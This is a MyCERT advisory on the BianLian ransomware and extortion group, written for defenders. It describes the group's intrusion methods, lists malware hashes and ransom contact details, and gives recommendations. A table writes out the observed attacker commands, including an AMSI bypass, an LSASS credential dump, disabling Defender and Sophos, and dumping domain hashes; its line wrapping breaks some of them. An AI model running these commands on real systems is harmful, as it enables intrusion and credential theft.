# MA-941.062023: MyCERT Advisory - BianLian Ransomware Group

**Date:** 15 Jun 2023  
**Source:** https://www.mycert.org.my/portal/advisory?id=MA-941.062023  
**Advisory ID:** MA-941.062023

---

**1.0 Introduction**
Recently, the Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Cyber Security Centre (ACSC) released a joint Cybersecurity Advisory to disseminate known BianLian ransomware and data extortion group IOCs and TTPs identified through FBI and ACSC investigations as of March 2023.
BianLian is a ransomware developer, deployer, and data extortion cybercriminal group that has targeted organizations in multiple U.S. critical infrastructure sectors since June 2022. They have also targeted Australian critical infrastructure sectors in addition to professional services and property development. The group gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian group actors then extort money by threatening to release data if payment is not made. BianLian group originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion.
**2.0 Technical Details**
BianLian is a ransomware developer, deployer, and data extortion cybercriminal group. FBI observed BianLian group targeting organizations in multiple U.S. critical infrastructure sectors since June 2022. In Australia, ACSC has observed BianLian group predominately targeting private enterprises, including one critical infrastructure organization. BianLian group originally employed a doubleextortion model in which they exfiltrated financial, client, business, technical, and personal files for leverage and encrypted victims’ systems. In 2023, FBI observed BianLian shift to primarily exfiltrationbased extortion with victims’ systems left intact, and ACSC observed BianLian shift exclusively to exfiltration-based extortion. BianLian actors warn of financial, business, and legal ramifications if payment is not made.
**2.1 Initial access**
BianLian group actors gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers or via phishing.
**2.2 Command and Control**
BianLian group actors implant a custom backdoor specific to each victim written in Go (see the Indicators of Compromise Section for an example) and install remote management and access software—e.g., TeamViewer, Atera Agent, SplashTop, AnyDesk—for persistence and command and control.
FBI also observed BianLian group actors create and/or activate local administrator accounts and change those account passwords.
**2.3 Defense Evasion**
BianLian group actors use PowerShell and Windows Command Shell to disable antivirus tools, specifically Windows defender and Anti-Malware Scan Interface (AMSI). BianLian actors modify the Windows Registry to disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.
**2.4 Discovery**
BianLian group actors use a combination of compiled tools, which they first download to the victim environment, to learn about the victim’s environment. BianLian group actors have used: 
• Advanced Port Scanner, a network scanner used to find open ports on network computers and retrieve versions of programs running on the detected ports.
• SoftPerfect Network Scanner (netscan.exe), a network scanner that can ping computers, scan ports, and discover shared folders. 
• SharpShares to enumerate accessible network shares in a domain. 
• PingCastle to enumerate Active Directory (AD). PingCastle provides an AD map to visualize the hierarchy of trust relationships. 
BianLian actors also use native Windows tools and Windows Command Shell to: 
• Query currently logged-in users. 
• Query the domain controller to identify:
- All groups.
- Accounts in the Domain Admins and Domain Computers groups.
- All users in the domain.
• Retrieve a list of all domain controllers and domain trusts. 
• Identify accessible devices on the network.
**2.5 Credential Access**
BianLian group uses valid accounts for lateral movement through the network and to pursue other follow-on activity. To obtain the credentials, BianLian group actors use Windows Command Shell to find unsecured credentials on the local machine. FBI also observed BianLian harvest credentials from the Local Security Authority Subsystem Service (LSASS) memory, download RDP Recognizer (a tool that could be used to brute force RDP passwords or check for RDP vulnerabilities) to the victim system, and attempt to access an Active Directory domain database (NTDS.dit).
In one case, FBI observed BianLian actors use a portable executable version of an Impacket tool (secretsdump.py) to move laterally to a domain controller and harvest credential hashes from it. 
Note: Impacket is a Python toolkit for programmatically constructing and manipulating network protocols. Through the Command Shell, an Impacket user with credentials can run commands on a remote device using the Windows management protocols required to support an enterprise network.
**2.6 Presistence and Lateral Movement**
BianLian group actors use PsExec and RDP with valid accounts for lateral movement. Prior to using RDP, BianLian actors used Command Shell and native Windows tools to add user accounts to the local Remote Desktop Users group, modified the added account’s password, and modified Windows firewall rules to allow incoming RDP traffic. See Appendix: Windows PowerShell and Command Shell Activity for additional information. 
In one case, FBI found a forensic artifact (exp.exe) on a compromised system that likely exploits the Netlogon vulnerability (CVE-2020-1472) and connects to a domain controller.
**2.7 Collection**
FBI observed BianLian group actors using malware (system.exe) that enumerates registry and files and copies clipboard data from users.
**2.8 Exfiltration and Impact**
BianLian group actors search for sensitive files using PowerShell scripts (See Appendix: Windows PowerShell and Command Shell Activity) and exfiltrate them for data extortion. Prior to January 2023, BianLian actors encrypted files after exfiltration for double extortion. 
BianLian group uses File Transfer Protocol (FTP) and Rclone, a tool used to sync files to cloud storage, to exfiltrate data. FBI observed BianLian group actors install Rclone and other files in generic and typically unchecked folders such as programdata\vmware and music folders. ACSC observed BianLian group actors use Mega file-sharing service to exfiltrate victim data. 
BianLian’s encryptor (encryptor.exe) modified all encrypted files to have the .bianlian extension. The encryptor created a ransom note, Look at this instruction.txt, in each affected directory (see Figure 1 for an example ransom note.) According to the ransom note, BianLian group specifically looked for, encrypted, and exfiltrated financial, client, business, technical, and personal files.
Figure 1: BianLian Sample Ransom Note (Look at this instruction.txt)
If a victim refuses to pay the ransom demand, BianLian group threatens to publish exfiltrated data to a leak site maintained on the Tor network. The ransom note provides the Tox ID A4B3B0845DA242A64BF17E0DB4278EDF85855739667D3E2AE8B89D5439015F07E81D12D767FC, which does not vary across victims. The Tox ID directs the victim organization to a Tox chat via https://qtox.gitbhub[.]io and includes an alternative contact email address (swikipedia@onionmail[.]org or xxx@mail2tor[.]com). The email address is also the same address listed on the group’s Tor site under the contact information section. Each victim company is assigned a unique identifier included in the ransom note. BianLian group receives payments in unique cryptocurrency wallets for each victim company. 
BianLian group engages in additional techniques to pressure the victim into paying the ransom; for example, printing the ransom note to printers on the compromised network. Employees of victim companies also reported receiving threatening telephone calls from individuals associated with BianLian group.
**3.0 Indicators of Compromise**
See Table 1 for IOCs obtained from FBI investigations as of March 2023.
|  |
| --- | --- | --- | **Name** | **SHA-256 Hash** | **Description** | def.exe | 7b15f570a23a5c5ce8ff942da60834a9d0549ea3ea9f34f900  a09331325df893 | Malware associated with BianLian intrusions, which is an example of a possible backdoor developed by BianLian group. | encryptor.exe | 1fd07b8d1728e416f897bef4f1471126f9b18ef108eb952f4b  75050da22e8e43 | Example of a BianLian encryptor. | exp.exe | 0c1eb11de3a533689267ba075e49d93d55308525c04d6aff  0d2c54d1f52f5500 | Possible NetLogon vulnerability (CVE-2020- 1472) exploitation. | system.exe | 40126ae71b857dd22db39611c25d3d5dd0e60316b72830e  930fba9baf23973ce | Enumerates registry and files. Reads clipboard data. |
Table 1: BianLian Ransomware and Data Extortion Group IOCs
Through FBI investigation as of March 2023, FBI has observed BianLian actors use the commands in Table 2. ACSC has observed BianLian actors use some of the same commands.
|  | --- | --- | **Command** | **Use** | [Ref].Assembly.GetType(‘System.Management  .Automation.AmsiUtils’).GetField(‘amsiInitFaile d’,’NonPublic,\* Static’).SetValue($null,$true) | Disables the AMSI on Windows. AMSI is a built-in feature on Windows 10 and newer that  provides an interface for anti-malware scanners to inspect scripts prior to execution. When AMSI is disabled, malicious scripts may bypass antivirus solutions and execute undetected. | cmd.exe /Q /c for /f “tokens=1,2 delims= “ ^%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””’) do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump  ^%B \Windows\Temp\<file>.csv full | Creates a memory dump lsass.exe process and saves it as a CSV filehttps://attack.mitre.org/versions/v12/techniq ues/T1003/001/. BianLian actors used it to harvest credentials from lsass.exe. | cmd.exe /Q /c net user <admin> /active:yes 1>  \\127.0.0.1\C$\Windows\Temp\<folder> 2>&1 | Activates the local Administrator account. | cmd.exe /Q /c net user "<admin>"<password> 1> \\127.0.0.1\C$\Windows\Temp\<folder> 2>&1 | Changes the password of the newly activated local Administrator account. | cmd.exe /Q /c quser 1>  \\127.0.0.1\C$\Windows\Temp\<folder> 2>&1 | Executes quser.exe to query the currently logged-in users on a machine. The command is provided arguments to run quietly and exit upon completion, and the output is directed to the \Windows\Temp directory. | dism.exe /online /Disable-Feature  /FeatureName:Windows-Defender /Remove  /NoRestart | Using the Deployment Image Servicing and Management (DISM) executable file, removes the Windows Defender feature. | dump.exe -no-pass -just-dc user.local/<fileserver.local>\@<local\_ip> | Executes secretsdump.py, a Portable Executable version of an Impacket tool. Used to dump password hashes from domain controllers. | exp.exe -n <fileserver.local> -t <local\_ip> | Possibly attempted exploitation of the NetLogon vulnerability (CVE-2020-1472). | findstr /spin "password" \*.\*  >C:\Users\training\Music\<file>.txt | Searches for the string password in all files in the current directory and its subdirectories and puts the output to a file. | ldap.exe -u user\<user> -p <password> ldap://<local\_ip> | Connects to the organization’s Lightweight Directory Access Protocol (LDAP) server. | logoff | Logs off the current user from a Windows session. Can be used to log off multiple users at once. | mstsc | Launches Microsoft Remote Desktop Connection client application in Windows. | net group /domain | Retrieves a list of all groups from the domain controller. | net group 'Domain Admins' /domain | Queries the domain controller to retrieve a list of all accounts from Domain Admins group. | net group 'Domain Computers' /domain | Queries the domain controller to retrieve a list of all accounts from Domain Computers group. | net user /domain | Queries the domain controller to retrieve a list of all users in the domain. | net.exe localgroup "Remote Desktop Users"  <user> /add | Adds a user account to the local Remote Desktop Users group. | net.exe user <admin> <password> /domain | Modifies the password for the specified account. | netsh.exe advfirewall firewall add rule "name=allow RemoteDesktop" dir=in \* protocol=TCP localport=<port num> action=allow | Adds a new rule to the Windows firewall that allows incoming RDP traffic. | netsh.exe advfirewall firewall set rule "group=remote desktop" new enable=Yes | Enables the pre-existing Windows firewall rule group named Remote Desktop. This rule group allows incoming RDP traffic. | nltest /dclist | Retrieves a list of domain controllers. | nltest /domain\_trusts | Retrieves a list of domain trusts. | ping.exe -4 -n 1 \* | Sends a single ICMP echo request packet to all  devices on the local network using the IPv4 protocol. The output of the command will show if the device is reachable or not. | quser; ([adsisearcher]"(ObjectClass=computer)").Find All().count;([adsisearcher]"(ObjectClass=user)")  .FindAll().count;[Security.Principal.WindowsIde ntity]::GetCurrent() | select name;net user "$env:USERNAME" /domain; (Get-WmiObject - class Win32\_OperatingSystem).Caption; Get- WmiObject -Namespace root\cimv2 -Class Win32\_ComputerSystem; net group "domain admins" /domain; nltest /dclist:; nltest  /DOMAIN\_TRUSTS | Lists the current Windows identity for the logged-in user and displays the user's name. Uses the Active Directory Services Interface (ADSI) to search for all computer and user objects in the domain and returns counts of the quantities found. Lists information about the current user account from the domain, such as the user's name, description, and group memberships. Lists information about the operating system installed on the local computer. Lists information about the "Domain Admins" group from the domain. Lists all domain controllers in the domain. Displays information about domain trusts. | reg.exe add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentC  ontrolSet\Control\Terminal \* Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG\_DWORD /d 0 /f | Adds/overwrites a new Registry value to disable user authentication for RDP connections. | reg.exe add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentC  ontrolSet\Control\Terminal Server" /\* v fAllowToGetHelp /t REG\_DWORD /d 1 /f | Adds/overwrites a new Registry value to allow a user to receive help from Remote Assistance. | reg.exe add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentC  ontrolSet\Services\Sophos Endpoint \* Defense\TamperProtection\Config" /t REG\_DWORD /v SAVEnabled /d 0 /f | Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SAVEnabled. | reg.exe add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentC  ontrolSet\Services\Sophos Endpoint \* Defense\TamperProtection\Config" /t REG\_DWORD /v SEDEnabled /d 0 /f | Adds/overwrites a new Registry value to disable tamper protection for Sophos antivirus named SEDEnabled. | reg.exe ADD \* HKEY\_LOCAL\_MACHINE\SOFTWARE\WOW  6432Node\Sophos\SAVService\TamperProtecti on /t REG\_DWORD /v Enabled /d 0 /f | Adds/overwrites a new registry value to disable tamper protection for a Sophos antivirus service called SAVService. | reg.exe copy hklm\system\CurrentControlSet\services\tvnser ver \* hklm\system\CurrentControlSet\control\safeboo t\network\tvnserver /s /f | Copies the configuration settings for the tvnserver service to a new location in the registry that will be used when the computer boots into Safe Mode with Networking. This allows the service to run with the same settings in Safe Mode as it does in normal mode. | s.exe /threads:50 /ldap:all /verbose  /outfile:c:\users\<user>\desktop\1.txt | Executes SharpShares. | schtasks.exe /RU SYSTEM /create /sc ONCE  /<user> /tr "cmd.exe /crundll32.exe c:\programdata\netsh.dll,Entry" /ST 04:43 | Creates a Scheduled Task run as SYSTEM at 0443 AM. When the task is run, cmd.exe uses crundll32.exe to run the DLL file netsh.dll. (It is likely that netsh.dll is a malware file and not associated with netsh.) | start-process PowerShell.exe -arg C:\Users\Public\Music\<file>.ps1 -WindowStyle Hidden | Executes a PowerShell script, while keeping the PowerShell window hidden from the user. |
Table 2: PowerShell and Windows Command Shell Activity
**4.0 Recommendations**
MyCERT recommend organizations implement the recommendation below to improve your organization’s cybersecurity posture on the basis of the threat actor’s activity.
- Reduce threat of malicious actors using remote access tools by:
- Auditing remote access tools on your network to identify currently used and/or authorized software.
- Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable.
- Using security software to detect instances of remote access software only being loaded in memory.
- Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
- Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
- Implement application controls to manage and control execution of software.
- Strictly limit the use of RDP and other remote desktop services.
- Disable command-line and scripting activities and permissions.
- Restrict the use of PowerShell.
- Update Windows PowerShell or PowerShell Core.
- Enable enhanced PowerShell logging.
- Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations.
- Review domain controllers, servers, workstations, and active directories.
- Audit user accounts.
- Implement time-based access for accounts set at the admin level and higher.
In addition, MyCERT recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors:
- Implement a recovery plan.
- Maintain offline backups of data.
- Require phishing-resistant multifactor authentication.
- Keep all operating systems, software, and firmware up to date.
- Segment networks.
- Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.
- Install, regularly update, and enable real time detection for antivirus software.
- Disable unused ports.
- Consider adding an email banner to emails.
- Ensure all backup data is encrypted, immutable.
Generally, MyCERT advises the users of this devices to be updated with the latest security announcements by the vendor and follow best practice security policies to determine which updates should be applied.
For further enquiries, please contact MyCERT through the following channels:
E-mail: cyber999[at]cybersecurity.my 
Phone: 1-300-88-2999 (monitored during business hours) 
Mobile: +60 19 2665850 (24x7 call incident reporting) 
Business Hours: Mon - Fri 09:00 -18:00 MYT 
Web: <https://www.mycert.org.my> 
Twitter: <https://twitter.com/mycert> 
Facebook: <https://www.facebook.com/mycert.org.my>
**5.0    References**
- <https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a>
- <https://www.cisa.gov/sites/default/files/2023-05/aa23-136a_stopransomware_bianlian_ransomware_group_1.pdf>